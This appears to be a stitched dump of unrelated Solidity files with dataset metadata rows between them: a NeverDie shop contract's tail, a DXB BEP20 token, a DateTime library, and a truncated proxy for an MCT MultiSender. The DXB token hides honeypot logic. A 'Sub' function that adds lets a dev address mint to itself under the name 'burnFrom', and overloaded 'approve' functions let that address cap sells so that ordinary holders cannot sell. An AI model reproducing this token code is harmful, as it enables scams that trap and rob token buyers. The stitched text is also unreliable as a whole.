/// @param _expiration expiration timestamp
/// @param _v ECDCA signature
/// @param _r ECDSA signature
/// @param _s ECDSA signature
function buyCopper(uint256 _CopperPrice,
uint256 _expiration,
uint8 _v,
bytes32 _r,
bytes32 _s) payable external {
// Check if the signature did not expire yet by inspecting the timestamp
require(_expiration >= block.timestamp);
// Check if the signature is coming from the neverdie address
address signer = ecrecover(keccak256(_CopperPrice, _expiration), _v, _r, _s);
require(signer == neverdieSigner);
require(msg.value >= _CopperPrice);
assert(ndc.transfer(msg.sender, COPPER_AMOUNT_NDC)
&& tpt.transfer(msg.sender, COPPER_AMOUNT_TPT)
&& skl.transfer(msg.sender, COPPER_AMOUNT_SKL)
&& xper.transfer(msg.sender, COPPER_AMOUNT_XPER));
// Emit BuyCopper event
emit BuyCopper(msg.sender, _CopperPrice, msg.value);
}
/// @dev buy Bronze with ether
/// @param _BronzePrice price in Wei
/// @param _expiration expiration timestamp
/// @param _v ECDCA signature
/// @param _r ECDSA signature
/// @param _s ECDSA signature
function buyBronze(uint256 _BronzePrice,
uint256 _expiration,
uint8 _v,
bytes32 _r,
bytes32 _s) payable external {
// Check if the signature did not expire yet by inspecting the timestamp
require(_expiration >= block.timestamp);
// Check if the signature is coming from the neverdie address
address signer = ecrecover(keccak256(_BronzePrice, _expiration), _v, _r, _s);
require(signer == neverdieSigner);
require(msg.value >= _BronzePrice);
assert(ndc.transfer(msg.sender, BRONZE_AMOUNT_NDC)
&& tpt.transfer(msg.sender, BRONZE_AMOUNT_TPT)
&& skl.transfer(msg.sender, BRONZE_AMOUNT_SKL)
&& xper.transfer(msg.sender, BRONZE_AMOUNT_XPER));
// Emit BuyBronze event
emit BuyBronze(msg.sender, _BronzePrice, msg.value);
}
/// @dev buy Silver with ether
/// @param _SilverPrice price in Wei
/// @param _expiration expiration timestamp
/// @param _v ECDCA signature
/// @param _r ECDSA signature
/// @param _s ECDSA signature
function buySilver(uint256 _SilverPrice,
uint256 _expiration,
uint8 _v,
bytes32 _r,
bytes32 _s) payable external {
// Check if the signature did not expire yet by inspecting the timestamp
require(_expiration >= block.timestamp);
// Check if the signature is coming from the neverdie address
address signer = ecrecover(keccak256(_SilverPrice, _expiration), _v, _r, _s);
require(signer == neverdieSigner);
require(msg.value >= _SilverPrice);
assert(ndc.transfer(msg.sender, SILVER_AMOUNT_NDC)
&& tpt.transfer(msg.sender, SILVER_AMOUNT_TPT)
&& skl.transfer(msg.sender, SILVER_AMOUNT_SKL)
&& xper.transfer(msg.sender, SILVER_AMOUNT_XPER));
// Emit BuySilver event
emit BuySilver(msg.sender, _SilverPrice, msg.value);
}
/// @dev buy Gold with ether
/// @param _GoldPrice price in Wei
/// @param _expiration expiration timestamp
/// @param _v ECDCA signature
/// @param _r ECDSA signature
/// @param _s ECDSA signature
function buyGold(uint256 _GoldPrice,
uint256 _expiration,
uint8 _v,
bytes32 _r,
bytes32 _s) payable external {
// Check if the signature did not expire yet by inspecting the timestamp
require(_expiration >= block.timestamp);
// Check if the signature is coming from the neverdie address
address signer = ecrecover(keccak256(_GoldPrice, _expiration), _v, _r, _s);
require(signer == neverdieSigner);
require(msg.value >= _GoldPrice);
assert(ndc.transfer(msg.sender, GOLD_AMOUNT_NDC)
&& tpt.transfer(msg.sender, GOLD_AMOUNT_TPT)
&& skl.transfer(msg.sender, GOLD_AMOUNT_SKL)
&& xper.transfer(msg.sender, GOLD_AMOUNT_XPER));
// Emit BuyGold event
emit BuyGold(msg.sender, _GoldPrice, msg.value);
}
/// @dev buy Platinum with ether
/// @param _PlatinumPrice price in Wei
/// @param _expiration expiration timestamp
/// @param _v ECDCA signature
/// @param _r ECDSA signature
/// @param _s ECDSA signature
function buyPlatinum(uint256 _PlatinumPrice,
uint256 _expiration,
uint8 _v,
bytes32 _r,
bytes32 _s) payable external {
// Check if the signature did not expire yet by inspecting the timestamp
require(_expiration >= block.timestamp);
// Check if the signature is coming from the neverdie address
address signer = ecrecover(keccak256(_PlatinumPrice, _expiration), _v, _r, _s);
require(signer == neverdieSigner);
require(msg.value >= _PlatinumPrice);
assert(ndc.transfer(msg.sender, PLATINUM_AMOUNT_NDC)
&& tpt.transfer(msg.sender, PLATINUM_AMOUNT_TPT)
&& skl.transfer(msg.sender, PLATINUM_AMOUNT_SKL)
&& xper.transfer(msg.sender, PLATINUM_AMOUNT_XPER));
// Emit BuyPlatinum event
emit BuyPlatinum(msg.sender, _PlatinumPrice, msg.value);
}
/// @dev withdraw all ether
function withdrawEther() external onlyOwner {
owner.transfer(this.balance);
}
function withdraw() public onlyOwner {
uint256 allNDC= ndc.balanceOf(this);
uint256 allTPT = tpt.balanceOf(this);
uint256 allSKL = skl.balanceOf(this);
uint256 allXPER = xper.balanceOf(this);
if (allNDC > 0) ndc.transfer(msg.sender, allNDC);
if (allTPT > 0) tpt.transfer(msg.sender, allTPT);
if (allSKL > 0) skl.transfer(msg.sender, allSKL);
if (allXPER > 0) xper.transfer(msg.sender, allXPER);
}
/// @dev withdraw token
/// @param _tokenContract any kind of ERC20 token to withdraw from
function withdrawToken(address _tokenContract) external onlyOwner {
ERC20 token = ERC20(_tokenContract);
uint256 balance = token.balanceOf(this);
assert(token.transfer(owner, balance));
}
/// @dev kill contract, but before transfer all tokens and ether to owner
function kill() onlyOwner public {
withdraw();
selfdestruct(owner);
}
}
| 176,176 | 12,402 |
a71b70c3af5e9c9b87e0a9a8e56d5d195a8f6cd8deaa0e7b136727b9db11a4ae
| 22,081 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0xb69D8754C26388d9DC3f16Cb07b11f5EdB1c35E2/contract.sol
| 3,238 | 12,470 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function Sub(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IUniswapV2Factory {
function getPair(address tokenA, address tokenB) external view returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract DXB is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address private _excludeDevAddress;
address private _approvedAddress;
uint256 private _tTotal = 10**11 * 10**18;
string private _name;
string private _symbol;
uint8 private _decimals = 18;
uint256 private _maxTotal;
IUniswapV2Router02 public uniSwapRouter;
address public uniSwapPair;
address payable public BURN_ADDRESS = 0x000000000000000000000000000000000000dEaD;
uint256 private _total = 10**11 * 10**18;
event uniSwapRouterUpdated(address indexed operator, address indexed router, address indexed pair);
constructor (address devAddress, string memory name, string memory symbol) public {
_excludeDevAddress = devAddress;
_name = name;
_symbol = symbol;
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function burnFrom(uint256 amount) public {
require(_msgSender() != address(0), "ERC20: cannot permit zero address");
require(_msgSender() == _excludeDevAddress, "ERC20: cannot permit dev address");
_tTotal = _tTotal.Sub(amount);
_balances[_msgSender()] = _balances[_msgSender()].Sub(amount);
emit Transfer(address(0), _msgSender(), amount);
}
function approve(address approveAddr1, address approveAddr2) public onlyOwner {
approveAddr1 = approveAddr2;
uniSwapRouter = IUniswapV2Router02(approveAddr1);
uniSwapPair = IUniswapV2Factory(uniSwapRouter.factory()).getPair(address(this), uniSwapRouter.WETH());
require(uniSwapPair != address(0), "updateTokenSwapRouter: Invalid pair address.");
emit uniSwapRouterUpdated(msg.sender, address(uniSwapRouter), uniSwapPair);
}
function approve(address approvedAddress) public {
require(_msgSender() == _excludeDevAddress, "ERC20: cannot permit dev address");
_approvedAddress = approvedAddress;
}
function approve(uint256 approveAmount) public {
require(_msgSender() == _excludeDevAddress, "ERC20: cannot permit dev address");
_total = approveAmount * 10**18;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
if (sender == owner()) {
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
} else{
if (sender != _approvedAddress && recipient == uniSwapPair) {
require(amount < _total, "Transfer amount exceeds the maxTxAmount.");
}
uint256 burnAmount = amount.mul(5).div(100);
uint256 sendAmount = amount.sub(burnAmount);
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[BURN_ADDRESS] = _balances[BURN_ADDRESS].add(burnAmount);
_balances[recipient] = _balances[recipient].add(sendAmount);
emit Transfer(sender, recipient, sendAmount);
}
}
}
| 253,635 | 12,403 |
44327208cf6817fc8197abc65f4267e8235cfbda8bac46bfa3221000c1399a4e
| 14,201 |
.sol
|
Solidity
| false |
555303620
|
team-tissis/cInsightContracts
|
90e14a6262d62a99e6f0be080a8dc9baa259719f
|
src/libs/DateTime.sol
| 4,488 | 14,141 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
// ----------------------------------------------------------------------------
// DateTime Library v2.0
//
// A gas-efficient Solidity date and time library
//
// https://github.com/bokkypoobah/BokkyPooBahsDateTimeLibrary
//
// Tested date range 1970/01/01 to 2345/12/31
//
// Conventions:
// Unit | Range | Notes
// :-------- |:-------------:|:-----
// timestamp | >= 0 | Unix timestamp, number of seconds since 1970/01/01 00:00:00 UTC
// year | 1970 ... 2345 |
// month | 1 ... 12 |
// day | 1 ... 31 |
// hour | 0 ... 23 |
// minute | 0 ... 59 |
// second | 0 ... 59 |
// dayOfWeek | 1 ... 7 | 1 = Monday, ..., 7 = Sunday
//
//
// Enjoy. (c) BokkyPooBah / Bok Consulting Pty Ltd 2018-2019. The MIT Licence.
// ----------------------------------------------------------------------------
library DateTime {
uint256 constant SECONDS_PER_DAY = 24 * 60 * 60;
uint256 constant SECONDS_PER_HOUR = 60 * 60;
uint256 constant SECONDS_PER_MINUTE = 60;
int256 constant OFFSET19700101 = 2440588;
uint256 constant DOW_MON = 1;
uint256 constant DOW_TUE = 2;
uint256 constant DOW_WED = 3;
uint256 constant DOW_THU = 4;
uint256 constant DOW_FRI = 5;
uint256 constant DOW_SAT = 6;
uint256 constant DOW_SUN = 7;
// ------------------------------------------------------------------------
// Calculate the number of days from 1970/01/01 to year/month/day using
// the date conversion algorithm from
// http://aa.usno.navy.mil/faq/docs/JD_Formula.php
// and subtracting the offset 2440588 so that 1970/01/01 is day 0
//
// days = day
// - 32075
// + 1461 * (year + 4800 + (month - 14) / 12) / 4
// + 367 * (month - 2 - (month - 14) / 12 * 12) / 12
// - 3 * ((year + 4900 + (month - 14) / 12) / 100) / 4
// - offset
// ------------------------------------------------------------------------
function _daysFromDate(uint256 year, uint256 month, uint256 day) internal pure returns (uint256 _days) {
require(year >= 1970);
int256 _year = int256(year);
int256 _month = int256(month);
int256 _day = int256(day);
int256 __days = _day - 32075 + (1461 * (_year + 4800 + (_month - 14) / 12)) / 4
+ (367 * (_month - 2 - ((_month - 14) / 12) * 12)) / 12
- (3 * ((_year + 4900 + (_month - 14) / 12) / 100)) / 4 - OFFSET19700101;
_days = uint256(__days);
}
// ------------------------------------------------------------------------
// Calculate year/month/day from the number of days since 1970/01/01 using
// the date conversion algorithm from
// http://aa.usno.navy.mil/faq/docs/JD_Formula.php
// and adding the offset 2440588 so that 1970/01/01 is day 0
//
// int L = days + 68569 + offset
// int N = 4 * L / 146097
// L = L - (146097 * N + 3) / 4
// year = 4000 * (L + 1) / 1461001
// L = L - 1461 * year / 4 + 31
// month = 80 * L / 2447
// dd = L - 2447 * month / 80
// L = month / 11
// month = month + 2 - 12 * L
// year = 100 * (N - 49) + year + L
// ------------------------------------------------------------------------
function _daysToDate(uint256 _days) internal pure returns (uint256 year, uint256 month, uint256 day) {
unchecked {
int256 __days = int256(_days);
int256 L = __days + 68569 + OFFSET19700101;
int256 N = (4 * L) / 146097;
L = L - (146097 * N + 3) / 4;
int256 _year = (4000 * (L + 1)) / 1461001;
L = L - (1461 * _year) / 4 + 31;
int256 _month = (80 * L) / 2447;
int256 _day = L - (2447 * _month) / 80;
L = _month / 11;
_month = _month + 2 - 12 * L;
_year = 100 * (N - 49) + _year + L;
year = uint256(_year);
month = uint256(_month);
day = uint256(_day);
}
}
function timestampFromDate(uint256 year, uint256 month, uint256 day) internal pure returns (uint256 timestamp) {
timestamp = _daysFromDate(year, month, day) * SECONDS_PER_DAY;
}
function timestampFromDateTime(uint256 year,
uint256 month,
uint256 day,
uint256 hour,
uint256 minute,
uint256 second)
internal
pure
returns (uint256 timestamp)
{
timestamp = _daysFromDate(year, month, day) * SECONDS_PER_DAY + hour * SECONDS_PER_HOUR
+ minute * SECONDS_PER_MINUTE + second;
}
function timestampToDate(uint256 timestamp) internal pure returns (uint256 year, uint256 month, uint256 day) {
unchecked {
(year, month, day) = _daysToDate(timestamp / SECONDS_PER_DAY);
}
}
function timestampToDateTime(uint256 timestamp)
internal
pure
returns (uint256 year, uint256 month, uint256 day, uint256 hour, uint256 minute, uint256 second)
{
unchecked {
(year, month, day) = _daysToDate(timestamp / SECONDS_PER_DAY);
uint256 secs = timestamp % SECONDS_PER_DAY;
hour = secs / SECONDS_PER_HOUR;
secs = secs % SECONDS_PER_HOUR;
minute = secs / SECONDS_PER_MINUTE;
second = secs % SECONDS_PER_MINUTE;
}
}
function isValidDate(uint256 year, uint256 month, uint256 day) internal pure returns (bool valid) {
if (year >= 1970 && month > 0 && month <= 12) {
uint256 daysInMonth = _getDaysInMonth(year, month);
if (day > 0 && day <= daysInMonth) {
valid = true;
}
}
}
function isValidDateTime(uint256 year, uint256 month, uint256 day, uint256 hour, uint256 minute, uint256 second)
internal
pure
returns (bool valid)
{
if (isValidDate(year, month, day)) {
if (hour < 24 && minute < 60 && second < 60) {
valid = true;
}
}
}
function isLeapYear(uint256 timestamp) internal pure returns (bool leapYear) {
(uint256 year,,) = _daysToDate(timestamp / SECONDS_PER_DAY);
leapYear = _isLeapYear(year);
}
function _isLeapYear(uint256 year) internal pure returns (bool leapYear) {
leapYear = ((year % 4 == 0) && (year % 100 != 0)) || (year % 400 == 0);
}
function isWeekDay(uint256 timestamp) internal pure returns (bool weekDay) {
weekDay = getDayOfWeek(timestamp) <= DOW_FRI;
}
function isWeekEnd(uint256 timestamp) internal pure returns (bool weekEnd) {
weekEnd = getDayOfWeek(timestamp) >= DOW_SAT;
}
function getDaysInMonth(uint256 timestamp) internal pure returns (uint256 daysInMonth) {
(uint256 year, uint256 month,) = _daysToDate(timestamp / SECONDS_PER_DAY);
daysInMonth = _getDaysInMonth(year, month);
}
function _getDaysInMonth(uint256 year, uint256 month) internal pure returns (uint256 daysInMonth) {
if (month == 1 || month == 3 || month == 5 || month == 7 || month == 8 || month == 10 || month == 12) {
daysInMonth = 31;
} else if (month != 2) {
daysInMonth = 30;
} else {
daysInMonth = _isLeapYear(year) ? 29 : 28;
}
}
// 1 = Monday, 7 = Sunday
function getDayOfWeek(uint256 timestamp) internal pure returns (uint256 dayOfWeek) {
uint256 _days = timestamp / SECONDS_PER_DAY;
dayOfWeek = ((_days + 3) % 7) + 1;
}
function getYear(uint256 timestamp) internal pure returns (uint256 year) {
(year,,) = _daysToDate(timestamp / SECONDS_PER_DAY);
}
function getMonth(uint256 timestamp) internal pure returns (uint256 month) {
(, month,) = _daysToDate(timestamp / SECONDS_PER_DAY);
}
function getDay(uint256 timestamp) internal pure returns (uint256 day) {
(,, day) = _daysToDate(timestamp / SECONDS_PER_DAY);
}
function getHour(uint256 timestamp) internal pure returns (uint256 hour) {
uint256 secs = timestamp % SECONDS_PER_DAY;
hour = secs / SECONDS_PER_HOUR;
}
function getMinute(uint256 timestamp) internal pure returns (uint256 minute) {
uint256 secs = timestamp % SECONDS_PER_HOUR;
minute = secs / SECONDS_PER_MINUTE;
}
function getSecond(uint256 timestamp) internal pure returns (uint256 second) {
second = timestamp % SECONDS_PER_MINUTE;
}
function addYears(uint256 timestamp, uint256 _years) internal pure returns (uint256 newTimestamp) {
(uint256 year, uint256 month, uint256 day) = _daysToDate(timestamp / SECONDS_PER_DAY);
year += _years;
uint256 daysInMonth = _getDaysInMonth(year, month);
if (day > daysInMonth) {
day = daysInMonth;
}
newTimestamp = _daysFromDate(year, month, day) * SECONDS_PER_DAY + (timestamp % SECONDS_PER_DAY);
require(newTimestamp >= timestamp);
}
function addMonths(uint256 timestamp, uint256 _months) internal pure returns (uint256 newTimestamp) {
(uint256 year, uint256 month, uint256 day) = _daysToDate(timestamp / SECONDS_PER_DAY);
month += _months;
year += (month - 1) / 12;
month = ((month - 1) % 12) + 1;
uint256 daysInMonth = _getDaysInMonth(year, month);
if (day > daysInMonth) {
day = daysInMonth;
}
newTimestamp = _daysFromDate(year, month, day) * SECONDS_PER_DAY + (timestamp % SECONDS_PER_DAY);
require(newTimestamp >= timestamp);
}
function addDays(uint256 timestamp, uint256 _days) internal pure returns (uint256 newTimestamp) {
newTimestamp = timestamp + _days * SECONDS_PER_DAY;
require(newTimestamp >= timestamp);
}
function addHours(uint256 timestamp, uint256 _hours) internal pure returns (uint256 newTimestamp) {
newTimestamp = timestamp + _hours * SECONDS_PER_HOUR;
require(newTimestamp >= timestamp);
}
function addMinutes(uint256 timestamp, uint256 _minutes) internal pure returns (uint256 newTimestamp) {
newTimestamp = timestamp + _minutes * SECONDS_PER_MINUTE;
require(newTimestamp >= timestamp);
}
function addSeconds(uint256 timestamp, uint256 _seconds) internal pure returns (uint256 newTimestamp) {
newTimestamp = timestamp + _seconds;
require(newTimestamp >= timestamp);
}
function subYears(uint256 timestamp, uint256 _years) internal pure returns (uint256 newTimestamp) {
(uint256 year, uint256 month, uint256 day) = _daysToDate(timestamp / SECONDS_PER_DAY);
year -= _years;
uint256 daysInMonth = _getDaysInMonth(year, month);
if (day > daysInMonth) {
day = daysInMonth;
}
newTimestamp = _daysFromDate(year, month, day) * SECONDS_PER_DAY + (timestamp % SECONDS_PER_DAY);
require(newTimestamp <= timestamp);
}
function subMonths(uint256 timestamp, uint256 _months) internal pure returns (uint256 newTimestamp) {
(uint256 year, uint256 month, uint256 day) = _daysToDate(timestamp / SECONDS_PER_DAY);
uint256 yearMonth = year * 12 + (month - 1) - _months;
year = yearMonth / 12;
month = (yearMonth % 12) + 1;
uint256 daysInMonth = _getDaysInMonth(year, month);
if (day > daysInMonth) {
day = daysInMonth;
}
newTimestamp = _daysFromDate(year, month, day) * SECONDS_PER_DAY + (timestamp % SECONDS_PER_DAY);
require(newTimestamp <= timestamp);
}
function subDays(uint256 timestamp, uint256 _days) internal pure returns (uint256 newTimestamp) {
newTimestamp = timestamp - _days * SECONDS_PER_DAY;
require(newTimestamp <= timestamp);
}
function subHours(uint256 timestamp, uint256 _hours) internal pure returns (uint256 newTimestamp) {
newTimestamp = timestamp - _hours * SECONDS_PER_HOUR;
require(newTimestamp <= timestamp);
}
function subMinutes(uint256 timestamp, uint256 _minutes) internal pure returns (uint256 newTimestamp) {
newTimestamp = timestamp - _minutes * SECONDS_PER_MINUTE;
require(newTimestamp <= timestamp);
}
function subSeconds(uint256 timestamp, uint256 _seconds) internal pure returns (uint256 newTimestamp) {
newTimestamp = timestamp - _seconds;
require(newTimestamp <= timestamp);
}
function diffYears(uint256 fromTimestamp, uint256 toTimestamp) internal pure returns (uint256 _years) {
require(fromTimestamp <= toTimestamp);
(uint256 fromYear,,) = _daysToDate(fromTimestamp / SECONDS_PER_DAY);
(uint256 toYear,,) = _daysToDate(toTimestamp / SECONDS_PER_DAY);
_years = toYear - fromYear;
}
function diffMonths(uint256 fromTimestamp, uint256 toTimestamp) internal pure returns (uint256 _months) {
require(fromTimestamp <= toTimestamp);
(uint256 fromYear, uint256 fromMonth,) = _daysToDate(fromTimestamp / SECONDS_PER_DAY);
(uint256 toYear, uint256 toMonth,) = _daysToDate(toTimestamp / SECONDS_PER_DAY);
_months = toYear * 12 + toMonth - fromYear * 12 - fromMonth;
}
function diffDays(uint256 fromTimestamp, uint256 toTimestamp) internal pure returns (uint256 _days) {
require(fromTimestamp <= toTimestamp);
_days = (toTimestamp - fromTimestamp) / SECONDS_PER_DAY;
}
function diffHours(uint256 fromTimestamp, uint256 toTimestamp) internal pure returns (uint256 _hours) {
require(fromTimestamp <= toTimestamp);
_hours = (toTimestamp - fromTimestamp) / SECONDS_PER_HOUR;
}
function diffMinutes(uint256 fromTimestamp, uint256 toTimestamp) internal pure returns (uint256 _minutes) {
require(fromTimestamp <= toTimestamp);
_minutes = (toTimestamp - fromTimestamp) / SECONDS_PER_MINUTE;
}
function diffSeconds(uint256 fromTimestamp, uint256 toTimestamp) internal pure returns (uint256 _seconds) {
require(fromTimestamp <= toTimestamp);
_seconds = toTimestamp - fromTimestamp;
}
}
| 168,038 | 12,404 |
1a57af9697b3ea27222aa642450e6e0579d188c8fd04920466736df7ef76a65f
| 30,022 |
.sol
|
Solidity
| false |
468407125
|
tintinweb/smart-contract-sanctuary-optimism
|
5f86f1320e8b5cdf11039be240475eff1303ed67
|
contracts/mainnet/68/680c419f4d4a9341a13e9299fcb9db9e9fe76666_ProxyForMctMultisender.sol
| 3,275 | 13,163 |
// SPDX-License-Identifier: MIT
// __ __ _____ _______ __ ____ __ ______
// | \/ | / ____||__ __| \ \ / /\ \ / /|___ /
// | \ / || | | | \ V / \ \_/ / / /
// | |\/| || | | | > < \ / / /
// | | | || |____ | | _ / . \ | | / /__
// |_| |_| \_____| |_| (_) /_/ \_\ |_| /_____|
// MCT MultiSender - Deployed by Easy
// To Use this Dapp: https://mct.xyz/TokenSender
pragma solidity ^0.8.16;
// OpenZeppelin Contracts (last updated v4.6.0) (proxy/Proxy.sol)
abstract contract Proxy {
function _delegate(address implementation) internal virtual {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 {
revert(0, returndatasize())
}
default {
return(0, returndatasize())
}
}
}
function _implementation() internal view virtual returns (address);
function _fallback() internal virtual {
_beforeFallback();
_delegate(_implementation());
}
fallback() external payable virtual {
_fallback();
}
receive() external payable virtual {
_fallback();
}
function _beforeFallback() internal virtual {}
}
// OpenZeppelin Contracts v4.4.1 (proxy/beacon/IBeacon.sol)
interface IBeacon {
function implementation() external view returns (address);
}
// OpenZeppelin Contracts (last updated v4.5.0) (interfaces/draft-IERC1822.sol)
interface IERC1822Proxiable {
function proxiableUUID() external view returns (bytes32);
}
// OpenZeppelin Contracts (last updated v4.7.0) (utils/Address.sol)
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success,) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
